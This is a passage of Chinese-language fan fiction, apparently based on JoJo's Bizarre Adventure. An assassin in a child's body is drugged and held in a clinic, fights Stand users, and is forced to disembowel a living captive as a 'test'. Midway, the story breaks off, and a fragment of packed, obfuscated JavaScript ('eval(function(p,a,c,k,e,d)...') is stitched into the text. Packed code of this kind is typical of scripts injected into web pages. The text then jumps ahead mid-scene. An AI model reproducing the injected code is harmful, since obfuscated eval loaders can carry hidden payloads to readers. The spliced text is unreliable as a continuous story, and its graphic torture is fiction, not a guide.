这或许是我近些日子来睡得最好的一觉,没有噩梦,没有突然惊醒,也没有人大清早不分场合地骚扰你。我睁开眼,感到身上久违的轻盈,昨天的疲惫一扫而空。 “你醒啦?生日快乐,小莉莉!”米拉吉娅的声音再次响起来,我疑惑,下意识开口:“昨天不是过了生日吗?” “你忘啦?我们小莉莉曾经说过,希望每一天都是生日,我当然要满足这个愿望啦——”她扶着我起来,让我靠着床头坐好,将一块卖相相当差劲的蛋糕端到我面前,“快吹蜡烛吧!” 要不是米拉吉娅的脸上身上还有昨天被荆棘扎出的伤口,我几乎要怀疑自己陷入了时间循环。我看了看那块蛋糕,那几乎不能称为蛋糕,只是蛋糕胚上堆着一堆奇形怪状的彩色奶油,还有一根歪歪斜斜的蜡烛,和昨天被我撞翻的那一块没什么区别。 我老老实实地吹了蜡烛,闭上眼睛假装许愿,她欢呼着鼓掌,看上去比我本人还开心。米拉吉娅催促我吃蛋糕,我实在不太想下口,但一整天没吃东西让我实在太饿,我抓起一块蛋糕,狼吞虎咽地送进嘴里。甜腻的味道让我不由得皱起眉头。 “怎么样,好吃吗?”米拉吉娅用期待的眼神看着我,我讪笑了一下,硬着头皮将口中的蛋糕咽了下去,“……好吃。” “好吃就好!一定要全部吃完哦,这可是我特意为你做的,吃不完的话我会非——常非常伤心的。” 我只好下定决心,大口大口地把蛋糕往嘴里送,此时也顾不上顾虑这蛋糕里是不是下了药或者别的,生怕惹得她不开心了她会做出什么疯狂的举动。米拉吉娅笑眯眯地看着我,一直到我把一整盘蛋糕都吃光,才摸了摸我的头,夸了我几句,哼着小曲去收拾盘子了。 我老老实实地坐在病床上,不敢轻举妄动。米拉吉娅回来,开始了她对我一整天的照顾:刷牙,洗脸,擦身子,一切都在病床上进行。我开始担心这么下去自己会肌肉萎缩。做完这一切,她又和昨天一样喂我吃药。但这次我留了个心眼,假装乖乖吞下,实际将胶囊藏在了舌头底下。 米拉吉娅没察觉到什么异常,她正忙着给我输液,我注视着她的一举一动,看着流速过快的冰凉药水流进我的身体。昨天离开病房时,我注意到走廊另一侧尽头的墙上有一部固定电话,但碍于米拉吉娅的控制,我只能先控制住她再过去,却没想到出了意外。如果能找到一个独处的机会,就能通过电话联系上暗杀组,告诉他们我现在的位置—— 奇怪,明明我没有咽下那颗胶囊,为什么和昨天相同的晕眩再次找上了我?我不敢置信地抬起头,感受着欣快感蔓延至我的全身。不,不对,难道是输液的药水?但昨天见到米拉吉娅前我就已经在输着液,按照昨天的起效时间,很明显是那颗药的作用。究竟是怎么回事? 趁着米拉吉娅不注意,我迅速抬起另一只手,吐出了那颗胶囊,蓝白色的外壳已经有些融化发软,颜色沾到了我的手上。我用手指碾开它,瞪大了眼睛——那融化的胶囊壳里,分明空无一物。 —to be continued— 14. 专家会诊 眼前的场景随着心跳抖动,反复失焦又对焦,大脑像融化成了一滩浆糊,让我没办法专心思考。为了防止被怀疑,我还是把那颗黏糊糊的胶囊重新送进嘴里,忍着恶心吞了进去。 我又想到输液的药水,虽然先前的经历已经证明这一切的体感与输液无关,但我还是选择保留这份怀疑。胶囊壳本身就是药物也不是没有可能,也许是胶囊在口中融化时药物就已经起效,就像致幻邮票——这一点就需要我在第二天直接吐出胶囊来证实了。处在这样危险的环境中,我最好对一切保持警惕。 或者说,是米拉吉娅的替身能力? 我的脑海中突然蹦出这样的想法。虽然毫无证据可言,但这也并不是没有可能。米拉吉娅对天堂城的反应让我坚信她一定是替身使者,只是一直没在我面前放出来。米拉吉娅是个疯狂的人,不知道下一秒会做出什么事来,如果强行逼迫她放出替身,也许反而会伤害到我自己。 我需要一个机会,一个新的机会。我突然灵光一闪——几天后前来抓捕莉齐的组织人员不就是这个机会吗?面对热情的替身使者,米拉吉娅一定会放出替身和他们对抗,这时我便能解开心中的疑惑,证明这一切“药效”到底是真正的药物还是替身能力。 或许我的计划十分完美,但现在我只是像一具尸体一样躺在病床上,什么也做不了。不能再这么浪费时间,我想,如果我还没有足以操控莉齐替身的能力,那就寻找新的方法,一个不需要我强迫自己操控替身的方法。 这些日子里,我一直在观察米拉吉娅。她对我的耐心和温柔简直让人不寒而栗,几乎整日围在我身边,就连睡觉时也寸步不离。偶尔我从噩梦中睁开眼,定能看见她关切的脸,她将我搂在怀里,柔声安慰我,身上的力气却大得吓人,好像要把我整个人揉进体内。 米拉吉娅的确不是个好医生。我的两条手臂都被她弄得伤痕累累,青紫的伤痕遍布四处。她下手没轻没重,扎针时又不稳,往往是我受不了痛叫出声她才反应过来,然后又像犯错的孩子似的连连道歉。喂药她也是随心所欲,今天多一颗,明天少一颗,完全不顾药品的使用计量。虽然有药物过量导致我头昏脑胀的事,但好在没出什么生命危险。 抛开这些不谈,米拉吉娅对待我像对待孩子,也像对待宠物。这是一种表演不出来的,细致入微的感情。莉齐对她来说,究竟是怎样的存在?我实在无法以她独特的脑回路理解,但这些日子里或多或少能切身体会。 在回忆中,莉齐与米拉吉娅半斤八两,她是个疯癫的人,情绪阴晴不定,要求得不到满足就会发狂,只有米拉吉娅能镇住她。好笑的是,反而是现在来到这里的我更顺从一些,所以她这两天心情才这么好,毕竟她心爱的小姑娘变成了一个听话的乖小孩。 就像此时此刻,她正哼着小曲整理柜子,虽然她的动作只是把那些乱七八糟摆着的药品摆得更加乱七八糟。她总是神志不清,有时走着路突然晕眩倒在地上,或者端着东西在平地上摔倒,又或者是喂我吃饭时直接将滚烫的热汤洒我一身,然后又慌慌张张地道歉。 米拉吉娅看上去心智不成熟,对我毫无防备,我一边看着她愉快的背影一边想。如果能利用这一点,我或许能寻找一个机会逃出生天。 — 我很快等来了一个机会。我睡得不安分,清晨就会迷迷糊糊地醒来。不同于往日,这天我在睡梦中隐约听见陌生的脚步声,由远及近,随后诊所的大门被重重推开。我偷偷睁开眼皮,看见守在我床边的米拉吉娅警惕地看了一眼门外。 她轻手轻脚地起身,生怕吵醒病床上的我。脚步声渐行渐远,我听见小声的交谈声,逐渐演变成争吵。我意识到我的机会来了。我忍着疼痛,一把拔掉手背上的留置针,光着脚踩上冰凉的地板,蹑手蹑脚地跟了出去。 “……距离我们约定的时间已经过去很久了,我不觉得她还会有什么重病——米拉吉娅小姐,难道你真的决定要把她留在身边一辈子?” 一个陌生的男声传进我的耳朵。昏暗的蓝光下,我看见一个发型古怪的高大身影,在他身边蹲着的那位则身形消瘦。我紧贴着墙壁,屏住呼吸,尽量让自己不发出一点声音,注视着他们的一举一动。 米拉吉娅退后了一步,她态度很坚决:“我不能把莉莉交到你们手里……是我看着莉莉长大的!”那男人嗤笑一声:长大?那女孩根本就长不大,她是个怪胎!这样的怪胎必须在医院里治疗研究,而不是给你这样精神失常的女人胡闹! 蹲着的人影发出古怪的呜咽声,随后像游泳运动员一样绷紧身子,他身上的紧身衣将他衬托得像一条弓形的曲线,入水般轻快地钻进了地面,消失不见了。我震惊地捂住嘴巴,不让自己叫出声来——那是我长期服用药物的幻觉,还是替身能力?虽然我非常不想承认,但想必后者的可能性更大些。 一场战斗在我眼前悄然展开。我脚下的地面突然地震般剧烈晃动起来,发出巨大的轰鸣声,幻觉般地,我感觉整栋建筑在缓慢地下陷。米拉吉娅还在激动地据理力争,我看见钻进地底的身影绕到她身后,悄无声息地探出身子,即将抓住她的脚腕——我几乎要尖叫出声来。 下一秒,伴随着一声惊呼,米拉吉娅半个身子都被拽进了地面,像陷入了难以挣脱的沼泽。她叫道“「Lovey-Dovey」”,我第一次看见替身在她身后浮现,那是个蓝绿色相间的人形身影,和她一样有着角色扮演般的翅膀,在空中隐约散发着荧光。 我感到巨大的能量波动,头像往常一样开始疼痛起来。恐惧和焦虑一瞬间潮水般席卷了我。这完全证实了我的猜想,米拉吉娅正是利用替身控制莉齐,并用每天定时喂药的形式做伪装,让人不易察觉到替身的存在。 我艰难地抬头,除了我,那两个男人也明显受到了替身的影响,楼房的震动暂时停止,我立马回过神来,无视面前的战斗,头也不回地向走廊另一头的电话跑去。 我跑得上气不接下气,大汗淋漓,双腿灌了铅一样沉重。我再一次转头,确定身后没有人跟来后,颤抖着按下拨号键。等待的每一秒都很煎熬,我出了一手汗,左顾右盼,心脏如擂鼓般跳动。 等到接通的提示音响起,我顾不上解释,急切地问道:组里怎么样了?里苏特在哪里?回应我的是一阵短暂的沉默,然后伊鲁索试探性的声音从听筒里传出来:“伊莎贝拉?” 他的声音有些哑,我猜他可能抽了很多烟或者别的,我不知道发生了什么,但我很感动他们终于记住了我真正的名字。我争分夺秒,尽可能清楚地向他们解释我现在的处境,医院,病人,奇怪的医生和热情,诸如此类,对面长久地沉默,我急了,攥紧听筒,压低了声音催促他回话。 背景音滋滋的电流声流进我的耳朵,夹杂着其他人小声的交谈声,似乎出了什么事。面对我的再三追问,他却叹了口气,“你要是实在想知道……啧,梅洛尼,你跟他说吧。”随后我听见一阵杂音,他烦躁地把听筒交给了梅洛尼。我心头一紧。 “据点收到了一个包裹,是组织寄来的琳赛的尸体。”梅洛尼开门见山,“尸体的状态……很惨不忍睹。他们把你,或者说琳赛,切成了很多片。” 我感到后背发凉,几乎拿不住听筒。事情的发展似乎偏离了我的预期,我对原本结局的干预让命运的天平开始向另一个方向倾斜。我和梅洛尼从各自的口述中拼凑出事情的细节:组织派去的杀手赶到后发现了琳赛的尸体,认为我已经被先前赶来的杀手杀死,于是为了示威将我残忍地分尸包装成包裹,寄给了暗杀组。 命运转换的前提不变的话,这次代替索尔贝死法的就成了我。可我还是不敢确认,因为我其实是被里苏特所杀,死后才被切片的话,条件并不是百分百还原。可眼下情况的紧急让我没空纠结这些细节。我连忙追问梅洛尼,里苏特呢?他回据点了吗? 眼下的信息量实在太大,我不想再发生任何特殊情况,可电话那头的声音却打碎了我的幻想——“……我们联系不上里苏特,如果按你所说,他可能在威尼斯,那么队长也身处危险也不是没有可能,如果你在……” “梅洛尼!” 我打断他,汗水顺着我的额头流下来,但我必须强迫自己冷静下来,“我在那之前见过里苏特一面,是我让他亲自动的手。也许死亡方式的不同不能改变原本的命运轨迹,所以不能放松警惕。我会随时关注他们的动向,随时联系你……记得告诉其他人,别太把琳赛的死放在心上。” 话是这么说,我心里却清楚这件事肯定一时间难以接受。就连我自己也觉得事态渐渐超出了我的可控范围。混乱,哪里都是一片混乱,我还想说些什么,却听见由远及近的脚步声,“——莉莉?” 我惊慌地转头,将电话按在墙上挂断,这是一条死路,我退无可退,只能眼看着人影朝着我越来越近。我看清了来人的脸,那是位绿色头发的男人,脸上有奇怪纹样的刺青,他身旁蹲着一个身穿束缚衣的人,正举着相机呜呜地嘟囔着什么。 那是乔可拉特和赛可。 如果我的猜想不错,我现在应该是陷入了两难的最危险处境里了。按照乔鲁诺所说,正是乔可拉特将索尔贝残忍地杀害切片,做成标本送去威胁暗杀组。现在他要我来面对他们,我不知该感到庆幸还是气愤,庆幸在暗杀组的其他人能够逃离他们的魔爪,气愤在这小子分明是刻意一次又一次残忍地折磨我。 “你刚才手里的是什么——?” 乔可拉特笑着质问我,我却从那笑容里看出了危险的意味,我颤抖着转身,强行扯出一个笑容,以我印象中最像孩童的姿态面对他:“什么都没有呀…叔叔,你在说什么呢?” 赛可以一个诡异的姿势靠近我,相机的镜头几乎怼到我脸上,紫色的大眼睛滴溜溜地转着,紧盯着我,有点渗人。我的后背紧贴着冰冷的墙壁,已经退无可退。乔可拉特俯下身来,眼睛从下往上以仰视的姿态看我,他抓住我的手,眼神里是藏不住的恶劣:“跟我走吧,好孩子,答应跟我走的话,我就给你糖吃,怎么样?” 我紧抿着嘴唇,寻找一个脱身的机会。眼神向下看向地面的位置,心中计算着准确的时机,看着他们再一次向我靠近一步,就是现在——我一把攥住拉住我的手,喊道:“ 「Paradise City」!” 圆形的空洞凭空出现在地板上,我们三个一起掉了进去,乔可拉特显然没想到莉齐会是替身使者,这是个惊喜也是惊吓。到了天堂城的内部,一切都将由我掌控,就让这两个人渣永远困在暗无天日的地下吧——我这么想着,正要控制植物生长缠住他们两个,抬手却惊恐地发现整个手臂上已经爬满了蠕动的绿色不明物体,并且还在不停生长。 真菌。这是乔可拉特的替身能力。只要所处的高度降低,它就会不断生长。谢天谢地乔鲁诺愿意告诉我一些他对抗过的敌人情报,否则我现在一定会丧命于此。我顾不上太多,手掌一挥,刹那间一阵强烈的飓风席卷而来,把我们三个吹得改变了方向。这是我从未体验过的强大的替身能力,几乎能够按照想法改变一切。我不敢想象如果完全开发天堂城的能力会变成什么样。 我们在天空中像挣扎的风筝,我努力适应这种接近飞行的状态,替身能保证我不会掉下来摔死,但不能保证我不会头晕想吐手脚发软。我强忍着呕吐的欲望,环顾四周,视线锁定了飘来的一朵云——如果我想的没错,天堂城内一切不符合常理的事物都有可能发生。 事实证明我想得没错。下一秒,那朵云燃烧起来,我将被真菌感染溃烂的手臂伸过去,强忍着灼烧的疼痛,眼下只有高温才能抑制真菌的生长。乔可拉特被我这副架势吓到了,他完全没想到眼前看起来人畜无害的小女孩会有这样强大的替身(说实话,其实我也难以置信)。 感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我的猜想没错,正是米拉吉娅发动了她的替身,让我们所有人都因情绪失控失去了控制替身的能力,我才得以保住性命。我拖着没有被感染的那条腿,一瘸一拐地跑向她,她撑着破碎的身子颤抖着抱住我,脸上浮现出满足的笑容,“莉莉,莉莉……你痛不痛?” “真是好感人啊——米拉吉娅,你就这么执着于这孩子吗?”乔可拉特向我们走来,青春岁月在他身后浮现,他的笑容狰狞,看见我们的痛苦给了他极大的满足感。米拉吉娅下意识护住我,她的血蹭了我一脸,身下的地面下陷,真菌攀上她的全身。 “就这样,抱抱我,莉莉……再抱抱我……”她喃喃道,搂在我身上的手逐渐脱力松开,我眼睁睁看着她倒地,身体快速腐烂,变成一滩真菌包裹的烂肉。 我呆坐在原地,感到一阵无力感,看着一旁爬满真菌的尸体,眼泪竟顺着脸颊流了下来。米拉吉娅的确不是什么好人,也许还有其他病人曾在她手中被折磨,我甚至怀疑我是产生了斯德哥尔摩情感,才会对这样一个虐待我多日的精神病人的死感到难过。 米拉吉娅也好,帕莎也好,我并不是对她们有多么深厚的感情,我就像扮演角色的演员,她们也多只是我短暂出演的剧本里的一名配角。我只是感到恐惧,对自己拯救不了任何人的感觉感到厌恶。 刺耳的电话铃声突然响起来,打破了诡异的寂静。我看看乔可拉特,他出乎我意料地微笑着点头默许。我顾不上太多,颤抖着夺过听筒。这次是普罗修特,他的声音不如往日的冷静,急切地向我传递着什么:“听着,我们刚刚联系上队长,他表示索尔贝和杰拉德已经脱离了危险。不要顾及他们,尽你最大的努力离开医院,我们会尽快在外接应你,记住,千万——” 啪的一声,我还没来得及回想电话里的内容,电话线被猛地一把扯断。我震惊地看向乔可拉特,他笑得猖狂,医生的细长的手轻柔地掐住我的下巴,贴近我的耳边:“天真的小姑娘,没有任何人能救你,你联系不上任何人的——你在联系谁呢?你没有家人,也没有朋友,没有人会在乎你在医院里的死活——” 赛可将相机伸到我面前,将我恐惧的表情尽数收入镜头中。我咬紧了牙关,暗暗握拳——我知道,如果我现在发动替身,或许能够换取一线生机。在天堂城的替身范围内,我能够做任何事,能用比对待米拉吉娅残忍百倍的手段折磨这个家伙。 可我没有。普罗修特的话回荡在我的脑海中。里苏特还在威尼斯,如果他见到了索尔贝和杰拉德,那一定表示他也在医院中。即使他说能保证他们的安全,可他不知道乔可拉特和赛可的替身能力,不知道还有可能面对的其他敌人。更何况,我是那个拥有不止一条生命的人,而里苏特不是。 “都好好拍下来了吗,赛可?”乔可拉特俯下身,赛可像动物一样蹲在地上呜呜地点头,他尽职尽责地举着相机,刚才的一切都被记录下来。乔可拉特很兴奋,他口中念念有词,毫不吝啬地夸奖他,从口袋里掏出几颗方糖,训狗似的向空中丢去。赛可瞬间从地上弹跳起身,用嘴将那几颗糖稳稳接住,场面活像杂技表演。 就算是我也我被这两人的怪异恶心得一时间说不出话来。与米拉吉娅天真的恶意不同,乔可拉特是纯粹的恶,是对一切生命蔑视的残忍。而赛可,他就像条忠心耿耿的宠物,寸步不离地跟在他身边,心甘情愿地被他利用。他们是老板也厌恶嫌于利用的存在,独立于热情的灰色地带独自行走。 我要保护里苏特,拯救索尔贝和杰拉德——这不仅是乔鲁诺给我这个身份的任务,更是我自己从一至终的目标。 “我跟你们走。” 我下定了决心,拉住他的胳膊。乔可拉特满意地笑了,他从口袋中摸出一颗方糖,也递到我的嘴边。我伸出舌尖,轻轻舔舐糖块的表面,那是一般用于咖啡调味的糖块,没有什么太重的甜味,也许长期精神混乱的赛可追求的正是这一点来之不易的糖分。我用牙齿咬住它,含在口中,觉得这是我这辈子吃过的最难吃的糖果。 太阳升起,从小小的窗口照进走廊,我跟在两人的身后,最后回头看了一眼倒在地上,惨不忍睹的米拉吉娅的尸体。我咬碎口中的方糖,感到喉咙一阵酸涩。 我想我们一样,都是剧情发展的牺牲品。也许获得新生的那一刻我就不得不用牺牲生命的方式换取命运改变的契机,我想,但这不是为了乔鲁诺。也许现在的我不能为我自己而活,但我能为自己而死。 再会,米拉吉娅。 —to be continued— 15. 青春岁月与天堂之城 我怀着忐忑的心情走出诊所的大门。赛可跟在最后面,他一直兢兢业业地举着相机拍我,镜头几乎贴到我脸上,我不耐烦地推开他,他又跟上来,这么重复了几次后我认命地放弃了抵抗。我夹在这对怪胎中间,听身后时不时传来那种嗓子里挤出来的奇怪的咕哝声,感觉心烦意乱。 走在威尼斯街头,我感到有些恍惚。天空刚蒙蒙亮,长时间暗无天日的软禁生活让我几乎失去了时间观念,昼夜不分。我短暂地呼吸了一会儿新鲜空气,就又被带进了另一个充斥着消毒水气味的世界里。 乔可拉特领着我进了我的新病房里,这里和先前米拉吉娅拿手术室改装成的房间不同,纯粹是用来居住的,但环境也没比诊所里好上多少,其中特殊的是两侧都有可供探视的窗口,不至于密不透风到让人精神错乱。 我被灼伤的左手被简单处理了一下,缠上了厚厚的纱布。乔可拉特嘱咐我有事情就按床头的铃,没经过允许不能擅自出病房,随后也离开了。 我一个人坐在狭窄的病床上,呆呆地看着玻璃窗外那一小块走廊,脑海里还回想着先前的那通电话。凭我对里苏特的了解,他所谓的一切已经解决大概又是想稳住我的一个幌子,甚至有可能普罗修特根本就没联系上里苏特,他只是想先把我带走,避免更多损失。毕竟就现在的情况来看,我实在是不敢相信有人能完好无损地从这两个疯子手里把两个活人从医院里偷出来。 普罗修特说他会接应我,但我没来得及听他之后的话,也没来得及告诉他我已经被带走了。现在我能做的只是祈祷他没赶过来那么快,否则到了诊所就只能跟米拉吉娅惨不忍睹的尸体大眼瞪小眼了。 手臂的伤口隐隐作痛,开始残忍地提醒我这一切都是事实:从越狱开始,我就一次又一次以身试险,甚至被老板怀疑时不惜以自己的死证明他们的清白,可我原本不至于做到这一步。 也许在乔鲁诺找到我的那一刻,结局就已经注定了。前任老板的残党本来注定就留不得,而我更不必多说,抛开过去的一切就只是个曾参加过反叛还对现任教父动过手的女人。要么驯养,要么清除。 我甚至想,也许我还能活到现在只是出于他那令人生厌的礼节,想在新人面前耍耍威风罢了——可我却不甘心止步于此。□□本就是适者生存的世界,即使不背叛老板,组织间的矛盾也终究不可避免。 经过了这一系列变故,我也大概猜到了乔鲁诺的想法——他希望我能像潘纳科特·福葛那样,做一个能及时回头的“聪明人”。如果我能倒戈于他,那么清理过去的残党会更加得心应手:关于那些藏在“暗处”的事情,一个曾经的暗杀者当然比他们懂得更多些。 可他不知道,暗杀组是我从记事起到现在最称得上家的地方。我为了谋生偷过抢过,风光时拍过杂志插图,走投无路时也曾经做过身体交易。我有过很多老板,雇主,或者只见过一面的露水情人,但我始终是一个人。后来为了混长期饭票,我又改了新名字,跑到那不勒斯投奔□□。 那年我满打满算刚十九岁,我的介绍人欠了赌债,被当着我的面一枪崩了脑袋,血溅了我一脸。我以为下一个死的会是我,但我没有。我不知道该说这是幸运还是不幸。 之后我就被带走了,重新分进当时刚成立没多久的暗杀小队里,索尔贝,杰拉德,还有霍尔马吉欧,以及队长里苏特。从当时的景况看,把人送进暗杀组去,其实也跟让人直接去送死没区别——整天跟危险打交道,赚到的钱数却跟危险没个沾边。那段时间里苏特常出去接些私活,后来人越来越多,手头才渐渐宽裕起来。 里苏特始终是沉默但可靠的。组里的大多数书面工作由他负责,除此之外他还负责带过一段时间我出任务。霍尔马吉欧跟我一样是别的地方分过来的倒霉蛋,他人缘好,性格又大大咧咧,跟谁都聊得来,我加入之前他就已经跟其他几个人混得很熟了。他看出来我紧张,拍拍胸脯让我放宽心,这么多人在,饿不死。屋里一阵哄笑,我也确实没那么紧张了。 索尔贝和杰拉德那时候就已经在一起了,但还没到现在这么整天黏在一起的程度。由于没有替身,他们的外派任务一般是情报类为主。他们和霍尔马吉欧一样也是调剂来的。这么一个临时拼凑的小队,任谁也没想到过两年还有翻身的机会。 真实的□□生活不像拍电影,挨的每一下可都是真枪实弹,而这其中杀手就是干最危险的活拿最少的薪水,这一点在早期被边缘化的组里更有体现。最艰难的那段时间,我们甚至轮流睡觉,只为半夜有人来寻仇的时候能保命。 普罗修特资历比我长一些,但他正式分到组里是一年以后了。那时他年轻气盛,来到组里的第一天就点名要见所谓的暗杀小队队长,并表示要比试一下,胜者才配当真正的“队长”。最终他们打了个平手,普罗修特认赌服输,我想他当时和我一样是意识到里苏特没有尽全力的,所以一向心高气傲的他才会这么敬重里苏特——即使他现在或许已经能压他一筹了。 普罗修特被里苏特任命为暗杀组的二把手,正式开始接管带领新人的任务。他要求很严格,还动不动就爱上手。我和伊鲁索都没能逃过一劫,但不得不说成效不错。至于梅洛尼,他们两个实在是不对付,最后交给里苏特管了。 那时已经是一两年后了。我经常和伊鲁索一起出任务。在镜面的配合下,光刃能迅速地穿过目标而悄无声息。他刚来的时候比现在还狂妄自大,也更欠揍。虽然嘴毒,但是跟伊鲁索聊天很有意思,是除了那些八卦或者无聊的替身游戏之外的。 梅洛尼——我不知道该怎么评价他。他是个各方面都很奇怪的人,从外表到性格再到替身能力。抛开那些下三滥的话题,他的确是个科研天才,加上远程作战的能力,给组里带来了不少方便。这个时候的暗杀组已经不是往日那幅死气沉沉的样子了,待遇相对不错,提成也有所增加。我知道,这是因为越来越多的人让队里能够承担越来越多种类的任务,面对更多潜在的困难。 贝西是普罗修特收的小弟,而加丘是组里的最后一位成员。他们年龄相同,性格却十分极端:贝西胆小怕事,而加丘暴躁易怒。有了这两个家伙的加入组里就更热闹了,经常是吵个没完。 随后,也就是他们加入后的第二年,索尔贝和杰拉德出事了。 ——我摇摇头,把自己从回忆里扯出来。我解开手臂上的纱布,溃烂的伤口触目惊心。我从抽屉的医药箱里自己找出棉球和酒精,再抹上新的药膏。烧伤的皮肤和棉花纤维粘连的皮肉传来钻心的疼痛,生生把我逼出了两滴眼泪。 我突然想起进组后我第一次受重伤,因为缝合的疼痛忍不住哭,里苏特愿意抱着我,让我咬他的肩膀,而普罗修特在一边一边给我上药一边骂我,说你还知道哭,疼就长点记性,别受第二次同样的伤。 虽说跟这么一帮大男人整天待在一起实在谈不上是什么好的成长环境,但不得不说,暗杀组的确弥补了我缺失的很多东西,是我走出覆着冻土的北极圈之后就再也没有过的,不可或缺的东西。我不想背叛它。 我熟练地给自己缠好纱布。事已至此,我决心利用好这个身份,彻底和过去做个了断。无论乔鲁诺做的是何种打算,这都是我该走的路。 就像普罗修特说的那样——别受第二次同样的伤。 乔可拉特适时地走进来,提醒我吃药。我看着掌心小小的白色药片,再一次想到了米拉吉娅。为了以防万一,我留了个心眼,只是假装喝了口水——谁知他皱了皱眉,直接上手掰开我的嘴,检查我是不是真的吞了药片。我没了辙,只能吐出舌头下藏着的药片,在他的注视下服下药物。希望不是什么太致命的东西。 吃完了药,眼看时钟的指针才指向八点一刻,我找借口说想出去走走,想熟悉熟悉环境,乔可拉特却催促我赶紧睡觉,早点休息,明天组织有人要见我。以现在的身份,我想明天等待我的应该是玻璃墙外波尔波那肥胖的身躯。自从入伙之后,我就有一段时间没见他了。 如果能通过面试加入组织,就能更轻易接触到组织的其他人,就能改变过去的死局——这可比前几次的生死考验轻松多了。我竟然久违地感到一丝紧张,像提前得知了第二天有随堂测验的学生。我躺在病床上,床不大,但我的身体很小,也就刚好合适。我闭上眼。 我睡得并不好。半夜我被伤口疼醒一次,按了好几次铃也没有乔可拉特来,只好挣扎着爬起来自己去找药箱。伤口感染很折磨人,等我自己处理完一切时,那边乔可拉特才姗姗来迟,见我毫发无损,还点着我的鼻头告诉我没事不能乱按——差点忘了,我只是个孩子,欺负孩童恐怕是在所有人中最容易的了。 — 出乎我意料的是,我并没有被带到监狱去参加面试,而是被领上电梯,直达上层。走廊的灯都亮着,手术室里却一片漆黑。提前预知结局的感觉并没有想象中那么好,主要的表现之一就是对未知的一切都疑神疑鬼,并且面对未知时下意识紧张。 尽管对门内的情况并无所知,我也能从空气中浓重的血腥味判断出情况不妙。门在我身后砰的一声关上,将我彻底与相对安全的门外隔绝。 手术灯突然亮起,我看到一个浑身赤裸的男人,双手双脚都被固定,四目相对的下一秒,他拼命挣扎起来,连声求饶,病床发出咯吱咯吱的响声。一个摄像机对着他的脸,另一个正对着我,乔可拉特站在我正前方,底光让他的笑容更加诡异:“别害怕,小莉莉,我听说你希望每天都过生日,所以也给你准备了生日礼物——现在就拆开怎么样?” 他所谓的“礼物”就是面前的这个家伙,腹部还贴心地用刀刻着“由此开启”以及恶趣味的x标记。赛可将端着的金属托盘放到旁边,拿出手术刀递给我,嗓子里叽里咕噜地也不知道在说些什么。我很确信这房间里没有遵守任何无菌操作。 “——不过,这同时也是你的测试。你可以尽情拆礼物,但不能让他死。”乔可拉特绕到我身后,双手轻轻揉捏我僵硬的肩膀,叫我放松,就当和平常一样——他早听过我的传闻,现在只想看看我的实力。 我本能地感到恐惧,不知道如果自己拒绝或失败会有什么后果。这的确是一场面试,但并非来自组织,而是乔可拉特亲自给我的考验,或者说,威胁。 我硬着头皮走上前,攥着手术刀的手不争气地发着抖,感觉像回到了人生第一次杀人的那个夜晚,梦魇纠缠了我许久,而我始终无法脱身。 锋利的刀尖划开皮肤,伤口形成一只诡异的眼睛,正死不瞑目地盯着我,流出血红的眼泪。一层,两层……惨叫声不绝于耳,等我真的剖开腹腔,男人早就奄奄一息了。我没有戴手套,手指直接触碰内脏的感觉很诡异也很恶心,看着我当着他的面拽出一大截肠子,可怜的男人又开始求饶起来。 虽然审讯的事我也没少做,可真的上手术台去就又是另一回事。我强迫自己冷静下来思考:如果在这里的是莉齐本人,她会怎么做?老老实实地给人开膛破肚了事?像个真正的孩子一样吓得坐在地上哭?还是—— “吵死了!” 我猛地抬起刀,毫不犹豫地刺进面前男人的喉咙,惨叫声戛然而止,他难以置信地瞪着我,表情痛苦,喉咙呼哧呼哧地冒着血泡,但的确是再没发出一点声音。 莉齐虽说是成年人的年龄和孩子的身体共存,但和我现在的情况又略有不同,最明显的区别就在于:她同样拥有孩童的心智。她会因为一件小事开心得不行,也会突然大哭大闹,喜怒哀乐反复无常。也正是因为如此,明知莉齐不是真正孩童的米拉吉娅才愿意给予她信任,因为用来哄孩子的小把戏也能控制她。 未受过教育的孩子是天生利己的,不会考虑任何除自己以外的事物,一切以自己的顺心为主。就像现在,很明显房间里的所有人都没想到我会来这么一出。这很冒险,但目前看来想融入这个没有正常人的地方就只能发挥一下表演天分,暂时抛弃自己的大脑了。 只有让乔可拉特相信我已经是个无药可救的疯子,什么都做不好,没有任何利用价值,才有可能逃过沦为实验品的结局。至于能不能在他手底下活下去,那就是之后的事了。有天堂城这样的强力替身在,总比前几次手无寸铁安心些。 “——哎呀,看来他已经死了,真没劲……” 我重新拿了一把刀,见男人已经没了动静,超经意地探了探他的鼻息,假装遗憾地撇撇嘴。我抹了一把脸上的血,又恢复了人畜无害的小女孩模样,可怜巴巴地拧拧衣角:莉莉的测试失败了吗? “不,莉莉,你做得非常好,非常——”乔可拉特毫不吝啬他的赞美,他也不管我满手满身的血,将我搂在怀里,把我的头发揉得乱七八糟。我突兀地想起梅洛尼。梅洛尼和乔可拉特简直是两个极端,一个迷恋生,一个迷恋死。要不是有任务在身,真该让这两个人聚在一起好好交流一下变态心得。 我本以为杀了他能让我逃过一劫,但还是被重新推到了开膛破肚的尸体面前,要求我继续拆礼物。我咽了咽口水,拼命给自己做心理建设,把碍事的肠子先掏出来放到一边,视线聚焦在鼓鼓囊囊的胃部上。 我割开胃壁,里面塞满了还没完全消化的食物,从颜色和甜味混着胃酸的气味,我判断这是奶油蛋糕。拨开这堆恶心的糊状物,我看到一颗彩色糖纸包裹的糖果。这可不好笑。 我一点没有想吃了它的意思,但赛可自从看到糖块的那一刻就目不转睛地盯着我,连好好地拿着摄像机都快做不到了。我嫌弃地把脏兮兮的糖果扔到地上,他还真像条狗一样去捡,也不管这东西是从多脏的地方里掏出来的就往嘴里送。 怎么,你不喜欢?乔可拉特凑到我跟前来,我立刻收起嫌恶的表情,强颜欢笑:“不,不是呀,哈哈,只是……今天太没意思了,我还没玩够呢。” “没关系,我们明天继续——只要你留在这里,你想玩多久都可以,怎么样?” “可是莉莉不喜欢医院……我们去游乐场好不好?” 我尽量给自己找逃脱的可能,但乔可拉特没给我这个机会。他正欣赏着摄像机里的最新录像,录音声响彻整个房间,而现在病床上只剩男人惨不忍睹的尸体。我保证你会喜欢这里的,莉莉,我会给你准备更多玩具——不同的玩具。 我隐约能猜到他口中的“玩具”是什么。乔可拉特担心经过热情面试后组织发现莉齐强大的替身,会将她分配到其他小队,不能再为他所利用,所以才急于控制我。在这样的情况下,我只能先配合这出戏,尽量表演得像个真正的孩子一样欢呼雀跃,实际早就出了一身的冷汗。 “——替身是个人精神力的体现,你知道么?” 他突然话锋一转,我愣了一下,不知道该怎么回应。 